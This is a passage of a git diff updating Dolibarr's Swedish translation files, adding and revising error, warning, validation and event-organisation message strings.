aktivera den här modulen. ErrorQtyTooLowForThisSupplier=Mängden är för låg för den här försäljaren eller inget pris som definieras på denna produkt för den här försäljaren ErrorOrdersNotCreatedQtyTooLow=Vissa beställningar har inte skapats på grund av för låga kvantiteter @@ -115,7 +117,7 @@ ErrorFailedToLoadRSSFile=Inte få RSS-flöde. Försök att lägga konstant MAIN_ ErrorForbidden=Tillträde beviljas ej.
      Du försöker komma åt en sida, ett område eller en funktion av en inaktiverad modul eller utan att vara i en autentiserad session eller det är inte tillåtet för din användare. ErrorForbidden2=Tillstånd för den här inloggningen kan definieras av din Dolibarr administratör från menyn %s-> %s. ErrorForbidden3=Det verkar som Dolibarr inte används genom en bestyrkt session. Ta en titt på Dolibarr inställning dokumentation för att veta hur man ska hantera verifieringar (htaccess, mod_auth eller andra ...). -ErrorForbidden4=Note: clear your browser cookies to destroy existing sessions for this login. +ErrorForbidden4=Obs: rensa din webbläsares cookies för att förstöra befintliga sessioner för denna inloggning. ErrorNoImagickReadimage=Funktion imagick_readimage finns inte i denna PHP. Ingen förhandsgranskning kan vara tillgängliga. Administratörer kan inaktivera den här fliken från menyn Setup - Display. ErrorRecordAlreadyExists=Record finns redan ErrorLabelAlreadyExists=Denna etikett finns redan @@ -153,7 +155,7 @@ ErrorPHPNeedModule=Fel, din PHP måste ha modul %s installerad för att a ErrorOpenIDSetupNotComplete=Du inställning för Dolibarr konfigurationsfil möjliggör OpenID autentisering, men webbadressen OpenID tjänsten definieras inte i ständig %s ErrorWarehouseMustDiffers=Källa och mål lager måste skiljer ErrorBadFormat=Dåligt format! -ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Fel, den här medlemmen är inte länkad till någon tredje part. Länk medlem till en befintlig tredje part eller skapa en ny tredje part innan du skapar prenumeration med faktura. +ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Fel, den här medlemmen är inte länkad till någon tredje part. Länk medlem till en befintlig tredje part eller skapa en ny tredje part innan du skapar abonnemang mot faktura. ErrorThereIsSomeDeliveries=Fel, det finns några leveranser kopplade till denna sändning. Radering vägrade. ErrorCantDeletePaymentReconciliated=Det går inte att ta bort en betalning som hade genererat en bankpost som försonades ErrorCantDeletePaymentSharedWithPayedInvoice=Det går inte att ta bort en betalning som delas av minst en faktura med status Betald @@ -179,8 +181,8 @@ ErrorPriceExpressionInternal=Internt fel '%s' ErrorPriceExpressionUnknown=Okänt fel '%s' ErrorSrcAndTargetWarehouseMustDiffers=Källa och mål lager måste skiljer ErrorTryToMakeMoveOnProductRequiringBatchData=Fel, försök att göra en lagerrörelse utan mycket / seriell information, på produkt '%s' som kräver mycket / seriell information -ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=Alla inspelade mottagningar måste först verifieras (godkänd eller nekad) innan du får göra den här åtgärden -ErrorCantSetReceptionToTotalDoneWithReceptionDenied=Alla inspelade mottagningar måste först verifieras (godkända) innan de får göra den här åtgärden +ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=Alla registrerade mottagningar måste först verifieras (godkänd eller nekad) innan du får göra den här åtgärden +ErrorCantSetReceptionToTotalDoneWithReceptionDenied=Alla registrerade mottagningar måste först verifieras (godkända) innan de får göra den här åtgärden ErrorGlobalVariableUpdater0=HTTP-förfrågan misslyckades med felet '%s' ErrorGlobalVariableUpdater1=Ogiltigt JSON-format '%s' ErrorGlobalVariableUpdater2=Saknad parameter '%s' @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objekt måste ha status 'Aktiv' för ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objekt måste ha statusen 'Utkast' eller 'Inaktiverad' för att aktiveras ErrorNoFieldWithAttributeShowoncombobox=Inga fält har egenskapen 'showoncombobox' till definition av objektet '%s'. Inget sätt att visa kombineraren. ErrorFieldRequiredForProduct=Fältet '%s' krävs för produkten %s +AlreadyTooMuchPostOnThisIPAdress=Du har redan skrivit för mycket på denna IP-adress. ProblemIsInSetupOfTerminal=Problemet är vid installation av terminal %s. ErrorAddAtLeastOneLineFirst=Lägg till minst en rad först ErrorRecordAlreadyInAccountingDeletionNotPossible=Fel, posten har redan överförts i bokföringen, raderingen är inte möjlig. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Fel, parameter %s måste ErrorLoginDateValidity=Fel, den här inloggningen ligger utanför giltighetsdatumintervallet ErrorValueLength=Fältets längd ' %s ' måste vara högre än ' %s ' ErrorReservedKeyword=Ordet ' %s ' är ett reserverat nyckelord +ErrorFilenameReserved=The filename %s can't be used as it is a reserved and protected command. ErrorNotAvailableWithThisDistribution=Ej tillgängligt med denna distribution ErrorPublicInterfaceNotEnabled=Det offentliga gränssnittet var inte aktiverat ErrorLanguageRequiredIfPageIsTranslationOfAnother=Språket på den nya sidan måste definieras om det är inställt som en översättning av en annan sida @@ -271,31 +275,46 @@ ErrorYouMustFirstSetupYourChartOfAccount=Du måste först ställa in ditt kontop ErrorFailedToFindEmailTemplate=Det gick inte att hitta mall med kodnamn %s ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Varaktighet definieras inte i tjänsten. Inget sätt att beräkna timpriset. ErrorActionCommPropertyUserowneridNotDefined=Användarens ägare krävs -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary +ErrorActionCommBadType=Vald händelsetyp (id: %s, kod: %s) finns inte i ordboken Event Type CheckVersionFail=Versionskontroll misslyckades ErrorWrongFileName=Filens namn kan inte innehålla __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Inte i ordningen för betalningsvillkor, ändra. -ErrorIsNotADraft=%s is not a draft -ErrorExecIdFailed=Can't execute command "id" -ErrorBadCharIntoLoginName=Unauthorized character in the login name -ErrorRequestTooLarge=Error, request too large -ErrorNotApproverForHoliday=You are not the approver for leave %s -ErrorAttributeIsUsedIntoProduct=This attribute is used in one or more product variants -ErrorAttributeValueIsUsedIntoProduct=This attribute value is used in one or more product variants -ErrorPaymentInBothCurrency=Error, all amounts must be entered in the same column -ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=You try to pay invoices in the currency %s from an account with the currency %s -ErrorInvoiceLoadThirdParty=Can't load third-party object for invoice "%s" -ErrorInvoiceLoadThirdPartyKey=Third-party key "%s" no set for invoice "%s" -ErrorDeleteLineNotAllowedByObjectStatus=Delete line is not allowed by current object status -ErrorAjaxRequestFailed=Request failed -ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory -ErrorFailedToWriteInTempDirectory=Failed to write in temp directory -ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorIsNotADraft=%s är inte ett utkast +ErrorExecIdFailed=Kan inte köra kommandot "id" +ErrorBadCharIntoLoginName=Obehörig karaktär i fältet %s +ErrorRequestTooLarge=Fel, begäran för stor eller sessionen har löpt ut +ErrorNotApproverForHoliday=Du är inte godkännaren för ledighet %s +ErrorAttributeIsUsedIntoProduct=Det här attributet används i en eller flera produktvarianter +ErrorAttributeValueIsUsedIntoProduct=Detta attributvärde används i en eller flera produktvarianter +ErrorPaymentInBothCurrency=Fel, alla belopp måste anges i samma kolumn +ErrorYouTryToPayInvoicesInACurrencyFromBankWithAnotherCurrency=Du försöker betala fakturor i valutan %s från ett konto med valutan %s +ErrorInvoiceLoadThirdParty=Det går inte att ladda tredjepartsobjekt för fakturan "%s" +ErrorInvoiceLoadThirdPartyKey=Tredjepartsnyckel "%s" inte inställd för faktura "%s" +ErrorDeleteLineNotAllowedByObjectStatus=Radera rad tillåts inte av aktuell objektstatus +ErrorAjaxRequestFailed=Begäran misslyckades +ErrorThirpdartyOrMemberidIsMandatory=Tredje part eller medlem i partnerskap är obligatoriskt +ErrorFailedToWriteInTempDirectory=Det gick inte att skriva i den temporära katalogen +ErrorQuantityIsLimitedTo=Antalet är begränsat till %s +ErrorFailedToLoadThirdParty=Det gick inte att hitta/läsa in tredje part från id=%s, email=%s, namn=%s +ErrorThisPaymentModeIsNotSepa=Detta betalningssätt är inte ett bankkonto +ErrorStripeCustomerNotFoundCreateFirst=Stripe-kund är inte inställd för denna tredje part (eller satt till ett värde som raderats på Stripe-sidan). Skapa (eller bifoga igen) det först. +ErrorCharPlusNotSupportedByImapForSearch=IMAP-sökning kan inte söka i avsändare eller mottagare efter en sträng som innehåller tecknet + +ErrorTableNotFound=Tabell %s hittades inte +ErrorValueForTooLow=Värdet för %s är för lågt +ErrorValueCantBeNull=Värdet för %s kan inte vara null +ErrorDateOfMovementLowerThanDateOfFileTransmission=Datumet för banktransaktionen får inte vara tidigare än datumet för filöverföringen +ErrorTooMuchFileInForm=För många filer i formuläret, det maximala antalet är %s fil(er) +ErrorSessionInvalidatedAfterPasswordChange=Sessionen ogiltigförklarades efter byte av lösenord, status eller giltighetsdatum. Vänligen logga in igen. +ErrorExistingPermission = Tillstånd %s för objekt %s finns redan +ErrorFieldExist=Värdet för %s finns redan +ErrorEqualModule=Modul ogiltig i %s +ErrorFieldValue=Värdet för %s är felaktigt +ErrorCoherenceMenu=%s is required when %s is 'left' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Din PHP-parameter upload_max_filesize (%s) är högre än PHP-parameter post_max_size (%s). Detta är inte en konsekvent installation. WarningPasswordSetWithNoAccount=Ett lösenord har ställts för den här medlemmen. Men inget användarkonto skapades. Så det här lösenordet är lagrat men kan inte användas för att logga in till Dolibarr. Den kan användas av en extern modul / gränssnitt men om du inte behöver definiera någon inloggning eller ett lösenord för en medlem kan du inaktivera alternativet "Hantera en inloggning för varje medlem" från inställningen av medlemsmodulen. Om du behöver hantera en inloggning men inte behöver något lösenord, kan du hålla fältet tomt för att undvika denna varning. Obs! Email kan också användas som inloggning om medlemmen är länkad till en användare. -WarningMandatorySetupNotComplete=Click here to setup main parameters +WarningMandatorySetupNotComplete=Klicka här för att ställa in huvudparametrar WarningEnableYourModulesApplications=Klicka här för att aktivera dina moduler och applikationer WarningSafeModeOnCheckExecDir=Varning, PHP alternativ safe_mode är på så kommando måste stoppas in i en katalog som deklarerats av php parameter safe_mode_exec_dir. WarningBookmarkAlreadyExists=Ett bokmärke med denna avdelning eller detta mål (URL) finns redan. @@ -304,15 +323,16 @@ WarningConfFileMustBeReadOnly=Varning, konfigurationsfilen (htdocs / conf / c WarningsOnXLines=Varningar om %s källrader WarningNoDocumentModelActivated=Ingen modell, för dokumentgenerering, har aktiverats. En modell kommer att väljas som standard tills du kontrollerar din modulinställning. WarningLockFileDoesNotExists=Varning när installationen är klar måste du inaktivera installations- / migreringsverktygen genom att lägga till en fil install.lock i katalogen %s . Att undanröja skapandet av den här filen är en allvarlig säkerhetsrisk. -WarningUntilDirRemoved=Alla säkerhetsvarningar (visas endast av administrativa användare) kommer att förbli aktiva så länge som sårbarheten är närvarande (eller den konstanta MAIN_REMOVE_INSTALL_WARNING läggs till i Setup-> Other Setup). +WarningUntilDirRemoved=Denna säkerhetsvarning kommer att förbli aktiv så länge som sårbarheten finns. WarningCloseAlways=Varning, är stängning göras även om beloppet varierar mellan källa och mål element. Aktivera den här funktionen med försiktighet. -WarningUsingThisBoxSlowDown=Varning, använder denna ruta bromsa allvarligt alla sidor som visar lådan. +WarningUsingThisBoxSlowDown=Varning, att använda denna funktion sänker allvarligt hastigheten på alla sidor som visar rutan. WarningClickToDialUserSetupNotComplete=Inställning av ClickToDial informationen för ditt användarkonto är inte fullständiga (se fliken ClickToDial på din användarkortet). WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Feature inaktiveras när display inställning är optimerad för blinda personer eller textbaserade webbläsare. WarningPaymentDateLowerThanInvoiceDate=Betalningsdag (%s) är tidigare än fakturadatum (%s) för faktura %s. WarningTooManyDataPleaseUseMoreFilters=För många data (mer än %s linjer). Vänligen använd fler filter eller sätt konstanten %s till en högre gräns. WarningSomeLinesWithNullHourlyRate=En del gånger registrerades av vissa användare medan deras timpris inte definierades. Ett värde på 0 %s per timme användes men det kan leda till felaktig värdering av tiden. WarningYourLoginWasModifiedPleaseLogin=Din inloggning har ändrats. För säkerhetsändamål måste du logga in med din nya inloggning innan nästa åtgärd. +WarningYourPasswordWasModifiedPleaseLogin=Ditt lösenord har ändrats. Av säkerhetsskäl måste du logga in nu med ditt nya lösenord. WarningAnEntryAlreadyExistForTransKey=Det finns redan en post för översättningsnyckeln för det här språket WarningNumberOfRecipientIsRestrictedInMassAction=Varning, antalet olika mottagare är begränsat till %s vid användning av massåtgärder på listor WarningDateOfLineMustBeInExpenseReportRange=Varning, datumet för raden ligger inte inom kostnadsberäkningsområdet @@ -324,26 +344,29 @@ WarningTheHiddenOptionIsOn=Varning, det dolda alternativet %s är på. WarningCreateSubAccounts=Varning, du kan inte skapa ett underkonto direkt, du måste skapa en tredje part eller en användare och tilldela dem en redovisningskod för att hitta dem i den här listan WarningAvailableOnlyForHTTPSServers=Endast tillgängligt om du använder HTTPS-säker anslutning. WarningModuleXDisabledSoYouMayMissEventHere=Modulen %s har inte aktiverats. Så du kanske missar en hel del evenemang här. -WarningPaypalPaymentNotCompatibleWithStrict=The value 'Strict' makes the online payment features not working correctly. Use 'Lax' instead. -WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPaypalPaymentNotCompatibleWithStrict=Värdet "Strikt" gör att onlinebetalningsfunktionerna inte fungerar korrekt. Använd "Lax" istället. +WarningThemeForcedTo=Varning, temat har tvingats till %s av en dold konstant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Varning, detta kommer också att radera alla befintliga sidor/behållare på webbplatsen. Du bör exportera din webbplats innan, så du har en säkerhetskopia för att återimportera den senare. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatisk validering är inaktiverad när alternativet att minska lager är inställt på "Fakturavalidering". +WarningModuleNeedRefrech = Modul %s har inaktiverats. Glöm inte att aktivera det # Validate -RequireValidValue = Value not valid -RequireAtLeastXString = Requires at least %s character(s) -RequireXStringMax = Requires %s character(s) max -RequireAtLeastXDigits = Requires at least %s digit(s) -RequireXDigitsMax = Requires %s digit(s) max -RequireValidNumeric = Requires a numeric value -RequireValidEmail = Email address is not valid -RequireMaxLength = Length must be less than %s chars -RequireMinLength = Length must be more than %s char(s) -RequireValidUrl = Require valid URL -RequireValidDate = Require a valid date -RequireANotEmptyValue = Is required -RequireValidDuration = Require a valid duration -RequireValidExistingElement = Require an existing value -RequireValidBool = Require a valid boolean -BadSetupOfField = Error bad setup of field -BadSetupOfFieldClassNotFoundForValidation = Error bad setup of field : Class not found for validation -BadSetupOfFieldFileNotFound = Error bad setup of field : File not found for inclusion -BadSetupOfFieldFetchNotCallable = Error bad setup of field : Fetch not callable on class +RequireValidValue = Värdet är inte giltigt +RequireAtLeastXString = Kräver minst %s tecken(er) +RequireXStringMax = Kräver max %s tecken +RequireAtLeastXDigits = Kräver minst %s siffror +RequireXDigitsMax = Kräver max %s siffra(r). +RequireValidNumeric = Kräver ett numeriskt värde +RequireValidEmail = E-postadressen är inte giltig +RequireMaxLength = Längden måste vara mindre än %s tecken +RequireMinLength = Längden måste vara mer än %s tecken +RequireValidUrl = Kräv giltig URL +RequireValidDate = Kräv ett giltigt datum +RequireANotEmptyValue = Krävs +RequireValidDuration = Kräv en giltig varaktighet +RequireValidExistingElement = Kräv ett befintligt värde +RequireValidBool = Kräv en giltig boolean +BadSetupOfField = Fel inställning av fältet +BadSetupOfFieldClassNotFoundForValidation = Felaktig inställning av fält: Klass hittades inte för validering +BadSetupOfFieldFileNotFound = Felaktig inställning av fält: Filen hittades inte för inkludering +BadSetupOfFieldFetchNotCallable = Felaktig inställning av fält: Hämtning kan inte anropas på klass diff --git a/htdocs/langs/sv_SE/eventorganization.lang b/htdocs/langs/sv_SE/eventorganization.lang index c16dec9ca59..ff8932926a6 100644 --- a/htdocs/langs/sv_SE/eventorganization.lang +++ b/htdocs/langs/sv_SE/eventorganization.lang @@ -17,82 +17,86 @@ # # Generic # -ModuleEventOrganizationName = Event Organisation -EventOrganizationDescription = Eventorganisation genom modulprojekt -EventOrganizationDescriptionLong= Manage the organization of an event (show, conferences, attendees or speakers, with public pages for suggestion, vote or registration) +ModuleEventOrganizationName = Evenemangsorganisation +EventOrganizationDescription = Evenemangsorganisation genom modulen Projekt +EventOrganizationDescriptionLong= Hantera organisationen av ett evenemang (show, konferenser, deltagare eller talare, med offentliga sidor för förslag, omröstning eller registrering) # # Menu # EventOrganizationMenuLeft = Organiserade evenemang EventOrganizationConferenceOrBoothMenuLeft = Konferens eller monter -PaymentEvent=Payment of event +PaymentEvent=Betalning för evenemang # # Admin page # -NewRegistration=Registration -EventOrganizationSetup=Konfiguration av händelseorganisation -EventOrganization=Event organization -Settings=inställningar -EventOrganizationSetupPage = Inställningssida för händelseorganisation -EVENTORGANIZATION_TASK_LABEL = Etikett för uppgifter som ska skapas automatiskt när projektet valideras -EVENTORGANIZATION_TASK_LABELTooltip = När du validerar en organiserad händelse kan vissa uppgifter skapas automatiskt i projektet

      Exempel:
      Skicka samtal för konferens
      Skicka samtal för monter
      Ta emot samtal för konferens
      påminna om händelse till högtalare
      Skicka påminnelse om händelse till den bodansvariga
      Skicka påminnelse om händelse till deltagare
      Skicka påminnelse om händelse till den bodansvariga
      Skicka påminnelse om händelse till deltagare -EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Kategori som automatiskt kan läggas till tredje part när någon föreslår en konferens -EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Kategori som ska läggas till tredje part automatiskt skapas när de föreslår en monter -EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Mall för e-post att skicka efter att ha fått ett förslag på en konferens. -EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = Mall för e-post att skicka efter att ha fått ett förslag på en monter. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Template of email to send after a registration to a booth has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Template of email to send after a registration to an event has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Template of email to use when sending emails from the massaction "Send emails" to speakers -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Template of email to use when sending emails from the massaction "Send emails" on attendee list -EVENTORGANIZATION_FILTERATTENDEES_CAT = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties in the category -EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties with the nature +NewRegistration=Registrering +EventOrganizationSetup=Inställning för evenemangsorganisation +EventOrganization=Eventorganisation +Settings=Inställningar +EventOrganizationSetupPage = Inställningssida för evenemangsorganisation +EVENTORGANIZATION_TASK_LABEL = Etikett för uppgifter som ska skapas automatiskt när projektet bekräftas +EVENTORGANIZATION_TASK_LABELTooltip = När du validerar ett evenemang att organisera kommer vissa uppgifter automatiskt bli skapat i projektet

      Exempel:
      Skapa konferenssamtal
      Skapa samtal för bås
      Validera förslag för konferensen
      Validera beställning för bås
      Öppna prenumeration för evenemangen för deltagare
      Skicka en påminnelse om evenemanget till talare
      Skicka en påminnelse om evenemanget till båsvärdar
      Skicka en påminnelse om evenemanget till deltagarna +EVENTORGANIZATION_TASK_LABELTooltip2=Lämna tomt om du inte behöver skapa uppgifter automatiskt. +EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Kategori som automatiskt kan läggas till tredjepart när någon föreslår en konferens +EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Kategori att läggas till tredjepart automatiskt skapas när de föreslår en monter +EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = E-postmall att skicka efter att ha fått ett förslag på en konferens. +EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = E-postmall att skicka efter att ha fått ett förslag på en monter. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = E-postmall att skicka efter att en registrering till en monter är betald. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = E-postmall att skicka efter att en anmälan till ett evenemang har betalats. +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = E-postmall att använda när du skickar e-postmeddelanden från massåtgärden "Skicka e-post" till talare +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = E-postmall som ska användas när du skickar e-postmeddelanden från massåtgärden "Skicka e-post" till deltagare +EVENTORGANIZATION_FILTERATTENDEES_CAT = I formuläret för att skapa/lägga till en deltagare begränsas listan över tredjeparter till tredjeparter som finns i kategorin +EVENTORGANIZATION_FILTERATTENDEES_TYPE = I formuläret för att skapa/lägga till en deltagare begränsas listan över tredjeparter till tredjeparter med karaktären # # Object # EventOrganizationConfOrBooth= Konferens eller monter -ManageOrganizeEvent = Manage the organization of an event +EventOrganizationConfOrBoothes=Konferens eller monter +ManageOrganizeEvent = Hantera organisationen av ett evenemang ConferenceOrBooth = Konferens eller monter ConferenceOrBoothTab = Konferens eller monter -AmountPaid = Amount paid -DateOfRegistration = Date of registration +AmountPaid = Betalt belopp +DateOfRegistration = Registreringsdatum ConferenceOrBoothAttendee = Konferens eller monterdeltagare +ApplicantOrVisitor=Utställare eller besökare +Speaker=Talare # # Template Mail # -YourOrganizationEventConfRequestWasReceived = Din begäran om konferens mottogs -YourOrganizationEventBoothRequestWasReceived = Din begäran om monter togs emot +YourOrganizationEventConfRequestWasReceived = Din begäran om konferens har tagits emot +YourOrganizationEventBoothRequestWasReceived = Din begäran om monter har tagits emot EventOrganizationEmailAskConf = Begäran om konferens EventOrganizationEmailAskBooth = Begäran om monter -EventOrganizationEmailBoothPayment = Payment of your booth -EventOrganizationEmailRegistrationPayment = Registration for an event -EventOrganizationMassEmailAttendees = Kommunikation till deltagarna -EventOrganizationMassEmailSpeakers = Kommunikation till högtalarna -ToSpeakers=To speakers +EventOrganizationEmailBoothPayment = Betalning av monter +EventOrganizationEmailRegistrationPayment = Anmälan till ett event +EventOrganizationMassEmailAttendees = Meddelande till deltagare +EventOrganizationMassEmailSpeakers = Meddelande till talare +ToSpeakers=Till talare # # Event # -AllowUnknownPeopleSuggestConf=Allow people to suggest conferences -AllowUnknownPeopleSuggestConfHelp=Allow unknown people to suggest a conference they want to do -AllowUnknownPeopleSuggestBooth=Allow people to apply for a booth -AllowUnknownPeopleSuggestBoothHelp=Allow unknown people to apply for a booth +AllowUnknownPeopleSuggestConf=Tillåt personer att föreslå konferenser +AllowUnknownPeopleSuggestConfHelp=Tillåt okända personer att föreslå en konferens de vill göra +AllowUnknownPeopleSuggestBooth=Låt folk ansöka om en monter +AllowUnknownPeopleSuggestBoothHelp=Tillåt okända personer att ansöka om en monter PriceOfRegistration=Pris för registrering -PriceOfRegistrationHelp=Price to pay to register or participate in the event -PriceOfBooth=Prenumerationspris för att stå en monter -PriceOfBoothHelp=Prenumerationspris för att stå en monter -EventOrganizationICSLink=Link ICS for conferences +PriceOfRegistrationHelp=Pris att betala för att registrera eller delta i evenemanget +PriceOfBooth=Kostnad för att stå i en monter +PriceOfBoothHelp=Kostnad för att stå i en monter +EventOrganizationICSLink=Länka ICS för konferenser ConferenceOrBoothInformation=Information om konferens eller monter Attendees=Deltagare -ListOfAttendeesOfEvent=List of attendees of the event project +ListOfAttendeesOfEvent=Lista över deltagare i evenemangsprojektet DownloadICSLink = Ladda ner ICS-länk -EVENTORGANIZATION_SECUREKEY = Seed to secure the key for the public registration page to suggest a conference -SERVICE_BOOTH_LOCATION = Tjänst som används för fakturaraden om en monterplats -SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Service used for the invoice row about an attendee subscription to an event -NbVotes=Röstetal +EVENTORGANIZATION_SECUREKEY = Seed för att säkra nyckeln för registrering för att föreslå en konferens +SERVICE_BOOTH_LOCATION = Tjänst som används på fakturaraden för monterplats +SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Tjänst som används på fakturaraden för deltagaravgift för ett evenemang +NbVotes=Antal röster # # Status # @@ -101,67 +105,72 @@ EvntOrgSuggested = Föreslagen EvntOrgConfirmed = Bekräftad EvntOrgNotQualified = Inte kvalificerad EvntOrgDone = Klar -EvntOrgCancelled = Inställt +EvntOrgCancelled = Inställd # # Public page # SuggestForm = Förslagssida -SuggestOrVoteForConfOrBooth = Page for suggestion or vote -EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest a new one for the event. You can also apply to have a booth during the event. -EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. -EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. +SuggestOrVoteForConfOrBooth = Sida för förslag eller omröstning +EvntOrgRegistrationHelpMessage = Här kan du rösta på en konferens eller föreslå en till ett evenemang. Du kan även ansöka om en monter under evenemanget. +EvntOrgRegistrationConfHelpMessage = Här kan du föreslå en ny konferens under evenemanget. +EvntOrgRegistrationBoothHelpMessage = Här kan du ansöka om en monter under evenemanget. ListOfSuggestedConferences = Lista över föreslagna konferenser -ListOfSuggestedBooths = Lista över föreslagna bås -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Föreslagna montrar +ListOfConferencesOrBooths=Konferenser eller montrar i ett evenemangsprojekt SuggestConference = Föreslå en ny konferens SuggestBooth = Föreslå en monter -ViewAndVote = Visa och rösta på föreslagna händelser -PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event -PublicAttendeeSubscriptionPage = Public link for registration to this event only +ViewAndVote = Visa och rösta på föreslagna evenemang +PublicAttendeeSubscriptionGlobalPage = Offentlig länk för anmälan till evenemanget +PublicAttendeeSubscriptionPage = Offentlig länk för registrering endast till detta evenemang MissingOrBadSecureKey = Säkerhetsnyckeln är ogiltig eller saknas -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = Detta formulär låter dig registrera dig som ny deltagare i evenemanget EvntOrgDuration = Denna konferens börjar på %s och slutar på %s. -ConferenceAttendeeFee = Konferensdeltagaravgift för evenemanget: '%s' som inträffar från %s till %s. -BoothLocationFee = Båsplats för evenemanget: '%s' som inträffar från %s till %s -EventType = Typ av händelse -LabelOfBooth=Båsetikett +ConferenceAttendeeFee = Deltagaravgift för evenemanget %s, %s till %s. +BoothLocationFee = Monter under evenemanget'%s, %s till %s. +EventType = Typ av evenemang +LabelOfBooth=Monteretikett LabelOfconference=Konferensetikett -ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet -DateMustBeBeforeThan=%s must be before %s -DateMustBeAfterThan=%s must be after %s +ConferenceIsNotConfirmed=Registrering ej tillgänglig, konferensen är inte bekräftad ännu +DateMustBeBeforeThan=%s måste vara före %s +DateMustBeAfterThan=%s måste vara efter %s +MaxNbOfAttendeesReached=Maximalt antal deltagare har uppnåtts +NewSubscription=Registrering +OrganizationEventConfRequestWasReceived=Ditt förslag på konferens har tagits emot +OrganizationEventBoothRequestWasReceived=Din begäran om en monter har tagits emot +OrganizationEventPaymentOfBoothWasReceived=Din betalning för monter har registrerats +OrganizationEventPaymentOfRegistrationWasReceived=Din betalning för din evenemang har registrerats +OrganizationEventBulkMailToAttendees=Detta är en påminnelse om ett evenemang du anmält dig till +OrganizationEventBulkMailToSpeakers=Detta är en påminnelse ett evenemanget du skall tala på +OrganizationEventLinkToThirdParty=Länk till tredjepart (kund, leverantör eller partner) +OrganizationEvenLabelName=Offentligt namn på konferensen eller montern -NewSubscription=Registration -OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received -OrganizationEventBoothRequestWasReceived=Your request for a booth has been received -OrganizationEventPaymentOfBoothWasReceived=Your payment for your booth has been recorded -OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event registration has been recorded -OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee -OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker -OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) - -NewSuggestionOfBooth=Application for a booth -NewSuggestionOfConference=Application for a conference +NewSuggestionOfBooth=Ansökan om monter +NewSuggestionOfConference=Ansökan om konferens # # Vote page # -EvntOrgRegistrationWelcomeMessage = Välkommen till konferens- eller monteringssidan. +EvntOrgRegistrationWelcomeMessage = Välkommen till konferens- eller montersidan. EvntOrgRegistrationConfWelcomeMessage = Välkommen till konferenssidan. EvntOrgRegistrationBoothWelcomeMessage = Välkommen till förslagssidan för monter. -EvntOrgVoteHelpMessage = Här kan du se och rösta på de föreslagna händelserna för projektet -VoteOk = Din röst har accepterats. +EvntOrgVoteHelpMessage = Här kan du se och rösta på de föreslagna evenemangen för projektet +VoteOk = Din röst har tagits emot. AlreadyVoted = Du har redan röstat på det här evenemanget. VoteError = Ett fel har inträffat under omröstningen, försök igen. -SubscriptionOk = Your registration has been validated -ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event +SubscriptionOk=Din registrering har skapats +ConfAttendeeSubscriptionConfirmation = Bekräftelse av ditt deltagande på ett evenemang Attendee = Deltagare -PaymentConferenceAttendee = Konferensdeltagarebetalning -PaymentBoothLocation = Betalning av monterplats -DeleteConferenceOrBoothAttendee=Remove attendee -RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s -EmailAttendee=Attendee email -EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) -ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +PaymentConferenceAttendee = Betalning för deltagare +PaymentBoothLocation = Betalning för monter 